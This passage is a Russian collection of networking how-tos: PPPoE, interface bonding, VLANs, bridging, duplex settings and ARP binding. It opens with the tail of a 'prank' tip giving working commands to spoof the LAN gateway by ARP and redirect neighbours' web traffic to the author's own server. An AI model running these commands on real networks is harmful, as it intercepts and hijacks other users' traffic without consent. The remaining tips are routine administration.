    конфигурации шлюза, путем поднятия web-сервера на своей машине и
    перенаправление на него запросов, через подмену ARP-адреса шлюза в кэше на
    машине соседа. Техника действует только в пределах локальной сети.
    
    Включаем на своей машине перенаправление IP-пакетов:
    
       echo 1 > /proc/sys/net/ipv4/ip_forward
    
    Перенаправляем запросы на 80-порт, заменив адрес назначения в пакете на
    192.168.1.200 - локальный IP машины с подставным шлюзом. На локальной машине
    должен быть заблаговременно поднят http-сервер с нужной страницей.
    
       iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
    
    Добавляем адрес реального шлюза (192.168.1.1) на сетевой интерфейс:
    
       ip addr add 192.168.1.1/24 dev eth0
    
    Анонсируем смену MAC-адреса шлюза:
    
       arping -c 3 -A -I eth0 192.168.1.1 
    
    После завершения розыгрыша убираем IP шлюза с локального интерфейса:
    
       ip addr delete 192.168.1.1/24 dev eth0
       iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
       ifconfig eth0 down
       ifconfig eth0 up
       arp -d 192.168.1.1
    
    Внимание, описанное действие не следует применять в рабочей сети предприятия,
    так как подстановка шлюза на время блокирует работу сети из-за конфликта с
    реальным шлюзом.
    
     
    ----* Настройка PPPoE соединения в Debian/Ubuntu Linux (доп. ссылка 1)   Автор: Сергей Афонькин  [комментарии]
     
    В данной заметке пойдет речь о частном случае настройки PPPoE - когда
    необходимо установить соединение на определенный PPPoE концентратор (в том
    случае когда в сети имеется несколько концентраторов), без использования
    графических утилит.
    
    Для начала установим необходимые пакеты:
    
        sudo aptitude install pppoe ppp
    
    Далее выполним поиск имеющихся PPPoE концентраторов в сети:
    
        sudo pppoe-discovery
    
        Access-Concentrator: ac1
        Got a cookie: 00 b0 f3 f8 77 fb 26 64 c8 5e 48 80 42 2e 5b a3
        AC-Ethernet-Address: 88:43:e1:36:d9:00
    
        Access-Concentrator: ac2
        Got a cookie: c2 9c 3c db 26 06 89 f6 06 7e a0 06 ff 8a f8 17 9a 07 00 00
        AC-Ethernet-Address: d8:d3:85:e3:85:75
        ...
    
    В моем случае видим два концентратора с именами ac1 и ac2. Предположим, что
    необходимо постоянно подключаться к концентратору ac2. Как это сделать? Создаем
    файл /etc/ppp/peers/pppoe, следующего содержания:
    
        ipcp-accept-local
        ipcp-accept-remote
        lcp-echo-interval 30
        lcp-echo-failure 5
        noipdefault
        usepeerdns
        defaultroute
        replacedefaultroute
        noccp
        noaccomp
        noauth
        persist
        mtu 1492
        hide-password
        connect /bin/true
        pty "pppoe -I eth0 -C ac2" # <-- Тут имя вашего концентратора
        user ПОЛЬЗОВАТЕЛЬ # <-- Тут ваш логин
        password ПАРОЛЬ # <-- Тут ваш пароль
    
    
    После создания файла можно пробовать устанавливать соединение, выполнив в командной строке:
    
        sudo pon pppoe
    
    Смотрим наличие интерфейса ppp0 в выводе команды ifconfig. Вывод команды приблизительно такой:
    
        sudo ifconfig
    
        ppp0  Link encap:Point-to-Point Protocol
          inet addr:172.22.51.19 P-t-P:94.70.254.21 Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1472 Metric:1
          RX packets:29890 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26304 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:3
          RX bytes:17850149 (17.0 MiB) TX bytes:1835091 (1.7 MiB)
        ...
    
    Если интерфейса ppp0 в выводе команды ifconfig нет, смотрим логи:
    
        sudo plog
    
    или
    
        sudo grep ppp /var/log/syslog
    
    Для автоматического создания PPPoE подключения при загрузке компьютера можно
    прописать следующие строки в /etc/network/interfaces:
    
        auto ppp0
        iface ppp0 inet ppp
          pre-up /sbin/ifconfig eth0 up
          provider pppoe
    
    
    Для отключения соединения PPPoE достаточно выполнить следующую команду:
    
        sudo poff pppoe
    
    Если PPPoE соединение используется для организации сервиса NAT в сети, то
    машины за этим NATом должны иметь MTU равный 1412. Иначе возможна ситуация
    когда, например, некоторые www ресурсы будут недоступны пользователям за NATом.
    Чтобы этого избежать можно "выравнивать" MTU при помощи iptables.
    
    Загрузку правила для iptables сделаем автоматически, при установке PPPoE
    соединения. А при отключении соединения будем удалять это правило из iptables.
    Для этого создадим два файла. Для загрузки правила создадим файл
    /etc/ppp/ip-up.d/pppoemtu следующего содержания:
    
        #! /bin/sh
        PATH=/sbin:/bin:/usr/bin
        set -e
        if [ -n "$PPP_IFACE" ]; then
          iptables -t mangle -o "$PPP_IFACE" --insert FORWARD 1 -p tcp \
            --tcp-flags SYN,RST SYN -m tcpmss --mss 1400:1536 -j TCPMSS --clamp-mss-to-pmtu
        fi
    
    
    Для удаления правила создадим файл /etc/ppp/ip-down.d/pppoemtu следующего содержания:
    
        #! /bin/sh
        PATH=/sbin:/bin:/usr/bin
        set -e
        if [ -n "$PPP_IFACE" ]; then
          iptables -t mangle -L -n -v  --line-numbers | \
            grep "TCPMSS.*$PPP_IFACE.*clamp" | cut -f1 -d " " | sort -r | xargs -n1 -r iptables -t mangle -D FORWARD
        fi
    
    Чтобы правила работали надо сделать файлы исполняемыми:
    
        sudo chmod 755 /etc/ppp/ip-up.d/pppoemtu /etc/ppp/ip-down.d/pppoemtu
    
    Проверить наличие правила в iptables после установки соединения можно выполнив следующую команду:
    
        sudo iptables -L -n -v -t mangle
    
    Если нет необходимости использовать определенный PPPoE концентратор, то надо
    просто в файле /etc/ppp/peers/pppoe заменить строку pty "pppoe -I eth0 -C ac2"
    на pty "pppoe -I eth0".
    
     
    ----* Объединение сетeвых интерфейсов в Ubuntu Linux при помощи "bonding" (доп. ссылка 1)   Автор: Stepanoff  [комментарии]
     
    В статье рассказано, как объединить два физических сетевых интерфейса в один
    для увеличения пропускной способности или для повышения отказоустойчивости
    сети. В Linux это делается при помощи модуля bonding и утилиты ifenslave. В
    большинстве новых версий дистрибутивов модуль ядра bonding уже есть и готов к
    использованию, в некоторых вам придется собрать его вручную. Я настраивал
    данное решение на Ubuntu 8.04 server amd64, поэтому примеры установки ПО взяты оттуда.
    
    
    Установим нужное ПО:
    
        aptitude install ifenslave ethtool
    
    Затем добавим модуль bonding в автозагрузку и пропишем опции для его запуска,
    для этого в конец файла /etc/modules добавим текст из примера ниже, примеров
    будет два: для создания одного интерфейса из двух физических и для создания
    двух интерфейсов из четырех физических.
    
    Подробнее о режимах работы bonding можно почитать здесь.
    
    Пример для одного виртуального интерфейса из двух физических:
    
        alias bond0 bonding
        options bonding mode=0 miimon=100
    
    Пример для создания двух интерфейсов из четырех физических:
    
        alias bond0 bonding
        alias bond1 bonding
        options bonding mode=0 miimon=100 max_bonds=2
    
    Затем загрузим модуль bonding
    
        ## Один виртуальный интерфейс
        modprobe bonding mode=0 miimon=100
        ## Два виртуальных интерфейса
        modprobe bonding mode=0 miimon=100 max_bonds=2
    
    Настроим параметры сетевых интерфейсов bonding`a, для этого отредактируем файл
    настроек интерфейсов /etc/network/interfaces. В примере шаблоны для настройки
    двух виртуальных интерфейсов.
    
        # The bond0 network interface
         auto bond0
         allow-hotplug bond0
         iface bond0 inet static
                address <ip-address>
                netmask <netmask>
                network <network-address>
                broadcast <broadcast-address>
                gateway <gateway-address>
                dns-nameservers <nameserver-one> <nameserver-two>
                dns-search <domain-name>
                up /sbin/ifenslave bond0 eth0
                up /sbin/ifenslave bond0 eth1
    
         # The bond1 network interface
         auto bond1
         allow-hotplug bond1
         iface bond1 inet static
                address <ip-address>
                netmask <netmask>
                network <network-address>
                broadcast <broadcast-address>
                gateway <gateway-address>
                dns-nameservers <nameserver-one> <nameserver-two>
                dns-search <domain-name>
                up /sbin/ifenslave bond1 eth2
                up /sbin/ifenslave bond1 eth3
    
    Более подробно по опциям файла /etc/network/interfaces можно прочитать выполнив
    команду man interfaces
    
    После того как прописаны настройки интерфейсов нужно перезапустить сеть
    командой /etc/init.d/networking restart и проверить, поднялись ли интерфейсы
    bond0, и если настраивали два, то bond1.
    
     
    ----* Превращение Cisco Catalyst 6500 в кабельный тестер (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
     
    Некоторые карты для Cisco Catalyst имеют встроенный "кабельный тестер" - Time
    Domain Reflectometry (TDR). TDR может использоваться для определения обрывов в
    кабеле, неверно обжатых коннекторов, повреждений изоляции и др.
    
    TDR поддерживается следующими медными линейными картами:
       WS-X6748-GE-TX (48 port CEF720 10/100/1000 line card)  
       WS-X6548-GE-TX/45AF (48 port CEF256 10/100/1000 line card)
       WS-X6148A-GE-TX/45AF (48 port Classic 10/100/1000 line card)
       WS-X6148-GE-TX/45AF (48 port Classic 10/100/1000 line card)
       WS-X6148A-RJ-45/45AF (48 port Classic 10/100 line card)
    
    Для тестирования кабеля необходимо выполнить две команды:
    
    1. Первая - команда на тестирование порта:
    
        6K-LV2-CL3# test cable-diagnostics tdr interface g1/3
    
        TDR test started on interface Gi1/3
        A TDR test can take a few seconds to run on an interface
        Use 'show cable-diagnostics tdr' to read the TDR results.
    
    
    2. Вторая - вывод данных тестирования:
    
        6K-LV2-CL3# show cable-diagnostics tdr interface g1/3
    
        TDR test last run on: March 5 10:22:06
        Interface Speed Pair Cable length Distance to fault Channel Pair status
       
        Gi1/3 1000 1-2 1 +/- 6 m N/A Pair B Terminated
        3-4 1 +/- 6 m N/A Pair A Terminated
        5-6 1 +/- 6 m N/A Pair C Terminated
        7-8 1 +/- 2 m N/A Pair D Short
    
    в данном тесте пара 7-8 оказалась оборвана.
    
    Ссылки:
     http://www.cisco.com/en/US/prod/collateral/switches/ps5718/ps708/prod_white_paper0900aecd805457cc.html
    
     
    ----* Конфигурирование bonding для сетевых интерфейсов на RHEL/CentOS 5 (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    Конфигурация необходимых сетевых интерфейсов:
    
        * eth0
    
    # cat > /etc/sysconfig/network-scripts/ifcfg-eth0
    DEVICE=eth0
    BOOTPROTO=none
    ONBOOT=yes
    MASTER=bond0
    SLAVE=yes
    USERCTL=no
    [Ctrl+D]
    
        * eth1:
    
    # cat > /etc/sysconfig/network-scripts/ifcfg-eth1
    DEVICE=eth1
    BOOTPROTO=none
    ONBOOT=yes
    MASTER=bond0
    SLAVE=yes
    USERCTL=no
    [Ctrl+D]
    
        * bond0:
    
    # cat > /etc/sysconfig/network-scripts/ifcfg-bond0
    DEVICE=bond0
    BOOTPROTO=none
    ONBOOT=yes
    NETWORK=10.10.70.0
    IPADDR=10.10.70.77
    NETMASK=255.255.255.0
    USERCTL=NO
    [Ctrl+D]
    
    Загружаем модуль и перегружаем сеть:
    
    # cat >> /etc/modprobe.conf
    alias bond0 bonding
    options bond0 mode=1 miimon=100
    [Ctrl+D]
    # service network restart
    
    Просмотр статуса:
    
    # cat /proc/net/bonding/bond0
    Ethernet Channel Bonding Driver: v3.2.4 (January 28, 2008)
    
    Bonding Mode: fault-tolerance (active-backup)
    Primary Slave: None
    Currently Active Slave: eth1
    MII Status: up
    MII Polling Interval (ms): 100
    Up Delay (ms): 0
    Down Delay (ms): 0
    
    Slave Interface: eth0
    MII Status: up
    Link Failure Count: 2
    Permanent HW addr: 00:1b:11:50:7a:01
    
    Slave Interface: eth1
    MII Status: up
    Link Failure Count: 1
    Permanent HW addr: 00:18:fe:8c:a1:96
    
     
    ----* Конфигурирование VLAN в RHEL/CentOS/Fedora и Debian/Ubuntu (доп. ссылка 1) (доп. ссылка 2)   Автор: Roman Shramko  [комментарии]
     
    Ниже представлены примеры настройки VLAN через стандартные средства дистрибутивов Linux.
    
    RHEL, CentOS, Fedora
    
    Для начала необходимо описать базовый сетевой интерфейс, на котором мы будем поднимать VLAN.
    
    /etc/sysconfig/network-scripts/ifcfg-eth0
    
       DEVICE=eth0                   # здесь нужно указать реальное имя интерфейса
       BOOTPROTO=static
       HWADDR=00:07:E9:A7:13:48      # здесь нужно указать реальный MAC
       ONBOOT=no
       TYPE=Ethernet
       IPADDR=0.0.0.0
       NETMASK=255.255.255.0
    
    
    Дла наших целей важны только два параметра: DEVICE и HWADDR. 
    Остальное роли не играет. Можно даже заполнить "от балды".
    
    Далее, создаем подинтерфейсы для VLAN. Именование подинтерфейсов может быть
    двух видов: "vlanX" и "eth0.X".
    
    В первом случае, мы имеем описательное имя, которое не привязано к имени родительского интерфейса. 
    Соответственно, перемещение VLAN на другой физический интерфейс не требует значительных изменений 
    в конфигурацию системы (не нужно править правила пакетного фильтра и тд и тп).
    
    С другой стороны, при использовании имен вида "eth0.X" мы имеем более
    удобное (по моему мнению) имя интерфейса,
    по которому видно на каком родительском интерфейсе поднят VLAN, чем немного
    упрощается администрирование системы.
    Плюс, поскольку имя подинтерфейса базируется на имени физического, то мы имеем
    различные пространства имен для VLAN-ов.
    Я имею ввиду ситуацию, когда на разных интерфейсах приходят VLAN-ы с одинаковыми номерами. 
    Использование "vlanX" в данном случае будет несколько затруднительно.
    Минусом будет то, что некоторые утилиты некорректно работают с именами
    интерфейсов с точкой в имени (например sysctl).
    
    Конфигурирование интерфейсов типа "vlanX"
    
    /etc/sysconfig/network-scripts/ifcfg-vlan10
    
       VLAN=yes
       VLAN_NAME_TYPE=VLAN_PLUS_VID_NO_PAD
       DEVICE=vlan10
       PHYSDEV=eth0
       BOOTPROTO=static
       ONBOOT=yes
       TYPE=Ethernet
       IPADDR=10.10.10.2
       NETMASK=255.255.255.252
    
    
    Здесь:
    
    PHYSDEV - физический интерфейс, на котором работает VLAN.
    VLAN_NAME_TYPE - указываем тип наименование устройства. В данном случае номер VLAN будет 
    браться с имени устройства. Возможные варианты:
    
       VLAN_PLUS_VID -vlan0010
       VLAN_PLUS_VID_NO_PAD - vlan10
       DEV_PLUS_VID - eth0.0010
       DEV_PLUS_VID_NO_PAD - eth0.10
    
    Конфигурирование интерфейсов типа "eth0.X"
    
    /etc/sysconfig/network-scripts/ifcfg-eth0.10
    
       VLAN=yes
       DEVICE=eth0.10
       BOOTPROTO=static
       ONBOOT=yes
       TYPE=Ethernet
       IPADDR=10.10.10.2
       NETMASK=255.255.255.252
    
    Все то же самое, но без PHYSDEV и VLAN_NAME_TYPE.
    
    Хочеться добавить, что смешать в одной системе "vlanX" и "eth0.X" штатными
    средствами вряд ли получится,
    т.к. тип именования (VLAN_NAME_TYPE) при инициализации интерфейсов задается по
    первому поднимаемому интерфейсу.
    
    
    Примеры для Debian, Ubuntu.
    
    Устанавливаем поддержку vlan:
    
       sudo apt-get install vlan
    
    В /etc/network/interfaces добавляем:
    
       # Какие интерфейсы поднимать автоматически
       auto vlan4
       auto vlan5
       auto vlan101
    
       # VLAN 4
       iface vlan4 inet static
          address 192.168.0.8
          netmask 255.255.255.192
          network 192.168.0.0
          broadcast 192.168.0.63
          mtu 1500
          vlan_raw_device eth0
       
       # VLAN 5
       iface vlan5 inet static
          address 10.0.111.8
          netmask 255.255.255.0
          network 10.0.111.0
          broadcast 10.0.111.255
          mtu 1500
          vlan_raw_device eth0
       
       # VLAN 101
       iface vlan101 inet static
          address 172.12.101.8
          netmask 255.255.255.0
          network 172.12.101.0
          broadcast 172.12.101.255
          gateway 172.12.101.1
          mtu 1500
          vlan_raw_device eth0
       
    
     
    ----* Восстановление потерянного Ethernet линка в Linux   [комментарии]
     
    В офисе внезапно отключили электроэнергию. На одном из работающих в тот момент ноутбуков, 
    после восстановления электричества, отказался подниматься сетевой линк.
    На свиче отображалось отсутствие физического линка. 
    Замена патч-корда, переключение в другой порт, жесткая перезагрузка - не помогли.
    
       # mii-tool eth0
    
       eth0: no link
    
    Пробуем инициировать autonegotiation:
    
       # mii-tool -r eth0
    
    бесполезно. Решаемся испробовать опцию -R для переинициализации трансивера.
    
       # mii-tool -R eth0
    
    и, о чудо !, линк поднялся.
    
     
    ----* MAC DNS лист   Автор: Vladimir Shingarev  [комментарии]
     
    Иногда нужно узнать какому производителю принадлежит оконечное оборудование, 
    наблюдая только его мак на интерфейсе. А открывать браузер для этого лениво.
    
    В таком случае удобно создать MAC-based dns лист. Пользоваться просто:
    
       ket:/home/sva# host -t txt 001243.macl.nov.ru
       001243.macl.nov.ru descriptive text "Cisco"
       ket:/home/sva# host -t txt 0050ba.macl.nov.ru
       0050ba.macl.nov.ru descriptive text "D-LINK"
    
     
    ----* Объединение сетевых интерфейсов при помощи протокола LACP во FreeBSD 7 (доп. ссылка 1)   Автор: s@sh@  [комментарии]
     
    Собираем ядро с поддержкой LACP (Link aggregation control protocol):
       device lagg
    
    Объединяем интерфейсы em0 и em1:
       ifconfig em0 up
       ifconfig em1 up
       ifconfig lagg0 create
       ifconfig lagg0 up laggproto lacp laggport em0 laggport em1
       ifconfig lagg0 10.10.10.18 netmask 255.255.255.0
       route add -net 0.0.0.0 10.10.10.1 0.0.0.0
    
    На Cisco и к каждому нужному интерфейсу прописываем:
       interface GigabitEthernet2/2
          .... 
          channel-protocol lacp
          channel-group 23 mode active
       
       interface GigabitEthernet2/16
          ....
          channel-protocol lacp
          channel-group 23 mode active
    
     
    ----* Настройка Linux как Wifi шлюза для КПК (доп. ссылка 1)   Автор: Михаил Конник  [комментарии]
     
    Linux шлюз:
    
    Нужно создать простую одноранговую ad-hoc сеть и дать статический IP-адрес
    сетевому беспроводному интерфейсу.
    После этого делаем NAT и всё работает. Для беспроводного интерфейса eth3 и 
    сети с идентификатором virens команда выглядит так (от рута):
    
       # iwconfig eth3 mode Ad-Hoc channel 1 essid virens
    
    В /etc/network/interfaces пишем что-то вроде:
    
       auto eth3
       iface eth3 inet static
       address 10.106.146.1
       netmask 255.255.255.0
       wireless-mode ad-hoc
       wireless-channel 1
       wireless-rate auto
       wireless-essid virens
    
    Теперь делаем NAT:
    
       # echo 1 > /proc/sys/net/ipv4/ip_forward
       # iptables -t nat -A POSTROUTING --out-interface eth1 -j MASQUERADE
    
    При этом eth1 это интерфейс, который подключён к Интернету. 
    Соединение не шифруется.
    
    
    КПК:
    
    Необходимо задать essid - такой же, какой дали в iwconfig. 
    Шифрование отсутствует, тип сети - одноранговая ad-hoc. 
    Снимаем галку "Получать IP-адрес автоматически" и вводим адреса:
    
       IP-адрес: 10.106.146.2
       Маска подсети: 255.255.255.0
       Маршрутизатор: 10.106.146.1
    
     
    ----* Как "протянуть" 802.1q tagged порт через ip-сеть.   Автор: Roman Timofeev aka ^rage^  [комментарии]
     
    Дано: 
    
    Есть hostA, который воткнут в каталист, в trunk (т.е. тегированный) порт, инкапсуляция 802.1q. 
    
    Есть hostB, который маршрут до hostA. маршрут живой, ip-пакеты между хостами безпроблемно бегают. 
    
    Задача: надо с hostA "притащить" виланы на hostB. 
    
    Решение: vtund + bridge.
    
    описание клиента в vtund.conf
    
       homepeer { 
          passwd qwerty; 
          type ether; 
          device home; 
          proto tcp; 
          compress yes; 
          stat yes;
          persist yes; 
    
          up { 
             ifconfig "%% up"; 
             program "brctl addbr br0"; 
             program "brctl addif br0 %%"; 
             program "brctl addif br0 eth0"; 
             ifconfig "br0 up"; 
          }; 
    
          down { 
             ifconfig "%% down"; 
             ifconfig "br0 down"; 
             program "brctl delbr br0"; 
          }; 
       }
    
    описание пира из конфига сервера
    
       homepeer { 
          passwd qwerty; # Password 
          type ether; # Ethernet tunnel 
          device work; # Device tap1 
          proto tcp; 
          compress yes; 
    
          up { 
             ifconfig "%% up"; 
          }; 
          down { 
             ifconfig "%% down"; 
          }; 
       } 
    
    Теперь на той Linux машине, куда кидаем порт:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add work 4
       ifconfig vlan4 10.1.1.1 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.1 netmask 255.255.255.0 up
    
    Замечание:
    Клиент - хост, с которого мы тащим порт. Он живёт в серой сети и имеет выход в internet через NAT.
    Сервер - машина с публичным ip.
    
     
    ----* Сброс счетчиков ifconfig в Linux   Автор: OlegOS (Очередин Олег)  [комментарии]
     
    Если нужно сбросить счетчики пакетов/байт, отображаемые ifconfig, то есть из /proc/net/dev, 
    нужно собрать драйвер сетевой карты в виде модуля (не в ядро). 
    Для сброса опускаем интерфейс, выгружаем драйвер, загружаем снова и поднимаем интерфейс. 
    Должно работать на всех картах.
    
    Пример.
    
       ifdown eth0
       modprobe -r eepro100
       modprobe eepro100
       ifup eth0
    
    Для того чтобы узнать имя драйвера обеспечивающего работу сетевого интерфейса:
    
       ethtool -i eth1
    
     
    ----* Привязка имени сетевого интерфейса к MAC адресу в Linux (доп. ссылка 1)   [комментарии]
     
    При наличии нескольких одинаковых сетевых карт, чтобы гарантировать, что eth0, eth1,.. всегда будут 
    закреплены за одними и теми же картами, можно огранизовать привязку имени к MAC адресу:
    
    В /etc/mactab добавляем:
    
       eth0 00:23:B7:89:39:E2
       eth1 00:08:A3:20:F8:29
       eth2 00:50:BA:29:B7:32
    
    Для Debian GNU/Linux создаем скрипт /etc/network/if-pre-up.d/nameif
    
       #!/bin/sh
       PATH=/sbin
       nameif -c /etc/mactab
    
    Для других Linux дистрибутивов нужно на начальном этапе инициализаци выполнить:
    
       /sbin/nameif eth0 00:23:B7:89:39:E2
       /sbin/nameif eth1 00:08:A3:20:F8:29
       /sbin/nameif eth2 00:50:BA:29:B7:32
    
     
    ----* Как настроить сетевой мост во FreeBSD   [комментарии]
     
    Предположим, имеется несколько сетевых интерфейсов fxp0,fxp1,fxp2,fxp3
     вы хотите чтобы ваша машина выспупала в качестве сетевого моста:
    
    
    Первый способ на основе if_bridge(работает в 5-STABLE и 6-ке)
       # kldload if_bridge
       # ifconfig bridge0 create
       # ifconfig bridge0 addm fxp0 addm fxp1 addm fxp2 addm fxp3 up
       # ifconfig fxp0 up
       # ifconfig fxp1 up
       # ifconfig fxp2 up
       # ifconfig fxp3 up
    
    Посмотреть # ifconfig bridge0
    Подробнее в man if_bridge и man ifconfig
    
    Второй способ на основе bridge:
    
       # kldload bridge
       # sysctl net.link.ether.bridge.config=fxp0,fxp1,fxp2,fxp3
       # sysctl net.link.ether.bridge.enable =1
    
     
    ----* Управление дуплексным режимом и скоростью линка в различных ОС. (доп. ссылка 1)   [комментарии]
     
    Solaris
    
       Проверка:
          ndd /dev/hme link_mode
          0 = half duplex, 1 = full duplex
       Установка full duplex:
          ndd -sec /dev/hme adv_100fdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
       Установка half duplex:
          ndd -sec /dev/hme adv_100hdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
    
    Linux
       Текущее состояние
          mii-tool eth0
          ethtool eth0
       Установка full duplex:
          mii-tool -F 100baseTx-FD eth0
          ethtool -s eth0 speed 1000 duplex full autoneg off
       некоторые драйверы можно настроить через /etc/modules.conf
          options eepro100 options=48
          options 3c59x  options=0x204 full_duplex=0x200
    
    FreeBSD
    
       Установка full duplex:
          ifconfig xl0 media 100baseTX mediaopt full-duplex
       Установка half duplex:
          ifconfig xl0 media 100baseTX mediaopt half-duplex
    
    IBM AIX
    
       Список адаптеров и проверка режима:
          lsdev -HCc adapter
          lsattr -d ent# 
       Установка full duplex:
         chdev  -l ent# -a media_speed=100_Full_Duplex -P
       Установка half duplex:
         chdev  -l ent# -a media_speed=100_Half_Duplex -P
    
    HP-UX
       Список адаптеров и проверка режима:
          lanscan -n  (HP-UX 10.x)
          lanscan -p  (HP-UX 11.x)
          lanadmin -x NMid# (HP-UX 10.x)
          lanadmin -x PPA#  (HP-UX 11.x)
      Установка full duplex:
          lanadmin -X 100FD NMid# (HP-UX 10.x)
          lanadmin -X 100FD PPA#  (HP-UX 11.x)
     Установка half duplex:
          lanadmin -X 100HD NMid# (HP-UX 10.x)
          lanadmin -X 100HD PPA#  (HP-UX 11.x)
    
     
    ----* Проброс трафика через Linux машину используя Proxy ARP (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Пусть:
    x.x.x.96/28 - выделенная подсеть, которую нужно распределить по машинам в локальной сети.
    x.x.x.97 - IP внешнего шлюза.
    Требуется поставить между шлюзом и сетью фаервол, 
    с одним адресом на двух интерфейсах x.x.x.98, транслируя ARP трафик используя "Proxy ARP".
    
    (x.x.x.99 ... x.x.x.110) --- (eth1, x.x.x.98 | eth0, x.x.x.98) --- (x.x.x.97)
    
    Удаляем маршруты созданные по умолчанию.
       ip route del x.x.x.96/28 dev eth0
       ip route del x.x.x.96/28 dev eth1
    
    Пакеты для x.x.x.97 пускаем через eth0, а для x.x.x.96/28 через eth1
       ip route add x.x.x.97 dev eth0
       ip route add x.x.x.96/28 dev eth1
    
    Включаем Proxy ARP
       echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp
       echo 1 > /proc/sys/net/ipv4/conf/eth1/proxy_arp
    
     
    ----* Объединение сетевых интерфейсов под Linux (доп. ссылка 1)   [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c.
    
    Документация: Documentation/networking/bonding.txt в дереве исходных текстов
    ядра и "modinfo bonding".
    Кратко:
       Подгружаем модуль ядра "bonding", в /etc/modules.conf указываем
         alias bond0 bonding
       При желании устанавливаем опции для доп. настройки модуля, например:
         options bond0 mode=2, где mode=
            0 - balance-rr (Round-robin выбор интерфейса)
            1 - active-backup (работает только один интерфейс, остальные в режиме горячей замены)
            2 - balance-xor - для всех пересылок на MAC закрепляется один из интерфейсов
            3 - broadcast - трафик идет через оба интерфейса одновременно
            4 - 802.3ad - для коммутаторов с поддержкой IEEE 802.3ad Dynamic link aggregation
            5 - balance-tlb, 6 - balance-alb
       /sbin/ifconfig bond0 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 up
       /sbin/ifenslave bond0 eth0
       /sbin/ifenslave bond0 eth1
    
    Или для дистрибутивов в которых используется пакет initscripts (http://rhlinux.redhat.com/initscripts/):
    
       /etc/sysconfig/network-scripts/ifcfg-bond0
         DEVICE=bond0
         BOOTPROTO=static
         BROADCAST=192.168.63.255
         IPADDR=192.168.1.1
         NETMASK=255.255.255.0
         NETWORK=192.168.0.0
         ONBOOT=yes
    
       /etc/sysconfig/network-scripts/ifcfg-eth0
         DEVICE=eth0
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
       /etc/sysconfig/network-scripts/ifcfg-eth1
         DEVICE=eth1
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
     
    ----* Объединение сетевых интерфейсов под FreeBSD 5.x (доп. ссылка 1)   Автор: Мишка  [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c .
    
      kldload /boot/kernel/ng_ether.ko
      kldload /boot/kernel/ng_one2many.ko
      ifconfig rl0 up
      ifconfig rl1 up
      ngctl mkpeer rl0: one2many upper one
      ngctl connect rl0: rl0:upper lower many0
      ngctl connect rl1: rl0:upper lower many1
      ngctl msg rl1: setpromisc 1
      ngctl msg rl1: setautosrc 0
      ngctl msg rl0:upper \
            setconfig "{ xmitAlg=1 failAlg=1 enabledLinks=[ 1 1 ] }"
      ifconfig rl0 inet 192.168.0.78 
    
     
    ----* Привязка IP к MAC адресу (доп. ссылка 1)   Автор: Krigs  [комментарии]
     
    Я сделал так (идею тоже нашел на этом сайте):
    
    1. Создал файл б/д привязки IP к MAC (например /etc/ethers.local)
                 Пример строк из файла:
                     192.168.0.11 00:0c:6e:3f:cd:e5 #kasa2
                     192.168.0.12 00:0d:88:82:da:a2 #mobil
                             и т. д.
    2. Написал скрипт такого содержания: (например /etc/static.arp):
    
             #!/bin/sh
             # обнуляем всю таблицу arp
             arp -ad > null
             # к каждому компу в локальной сети привязываем несуществующий (нулевой)                
             # MAC адрес
             I=1
             while [ $I -le 254 ]
             do
                   arp -s 192.168.0.${I} 0:0:0:0:0:0
                   I=`expr $I + 1`
             done
             #  к реально существующему компу в сети из базы данных в файле
             # /etc/ethers.local  привязываем
             #  правильный MAC адрес
             arp -f   /etc/ethers.local
    
    3. Делаем этот файл исполняемым и прописываем в файл /etc/rc.local такую
        строчку:
    
                 /etc/static.arp
    
         Еще желательно, чтобы привязки имен юзерских хостов к ip-адресам были
         прописаны в /etc/hosts (это ускорит их поиск). Теперь сервер не будет
         рассылать широковещательные запросы о локальных MAC адресах, т. к. все они
         статически жестко привязаны к ip-адресам. Этим убивается два зайца: не
         рассылаются широковещательные запросы, что экономит траффик и время
         на ответ сервера, и не позволяет пользователю менять свой ip-адрес,
         т. к. сервер все равно пакет будет отправлять на жестко привязанный
         MAC адрес.
    
     
    ----* Включение Device Polling в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man polling - периодических опрос состояния ядром, вместо генерации прерываний 
    (полезно при очень большом числе пакетов проходящих через сетевую карту), 
    возможен комбинированный вариант, когда polling включается при преодалении
    определенного порога нагрузки).
    В конфигурации ядра
       options DEVICE_POLLING
       options HZ=1000
    Далее:
       sysctl kern.polling.enable=1
       sysctl kern.polling.user_frac=50
    
     
    ----* Смена скорости (10/100) и duplex (full/half) на сетевых картах Realtek-8139   Автор: Alexey N. Kovyrin  [комментарии]
     
    1) Duplex можно менять параметром full-duplex модуля 8139too:
       full-duplex=1  (Full-Duplex)
       full-duplex=0  (Half-Duplex)
    
    2) Также существует параметр media, который является набором битовых полей: 
       5-й бит: 1=100Mbps / 0=10Mbps
       4-й бит: 1=Full-Duplex / 0=Half-Duplex
       9-й бит: Форсированная установка параметра duplex (1=Force / 0=Don't Force) 
       9-й бит используется только вместе с 4-м.
    
    3) Примеры:
       modprobe 8139 full-duplex=1  (100Mbps Full-Duplex)
       modprobe 8139 full-duplex=0  (100Mbps Half-Duplex)
       modprobe 8139 media=16  (10Mbps Full-Duplex)
       modprobe 8139 media=48  (100Mbps Full-Duplex)
       modprobe 8139 media=32  (100Mbps Half-Duplex)
       modprobe 8139 media=32  (100Mbps Half-Duplex)
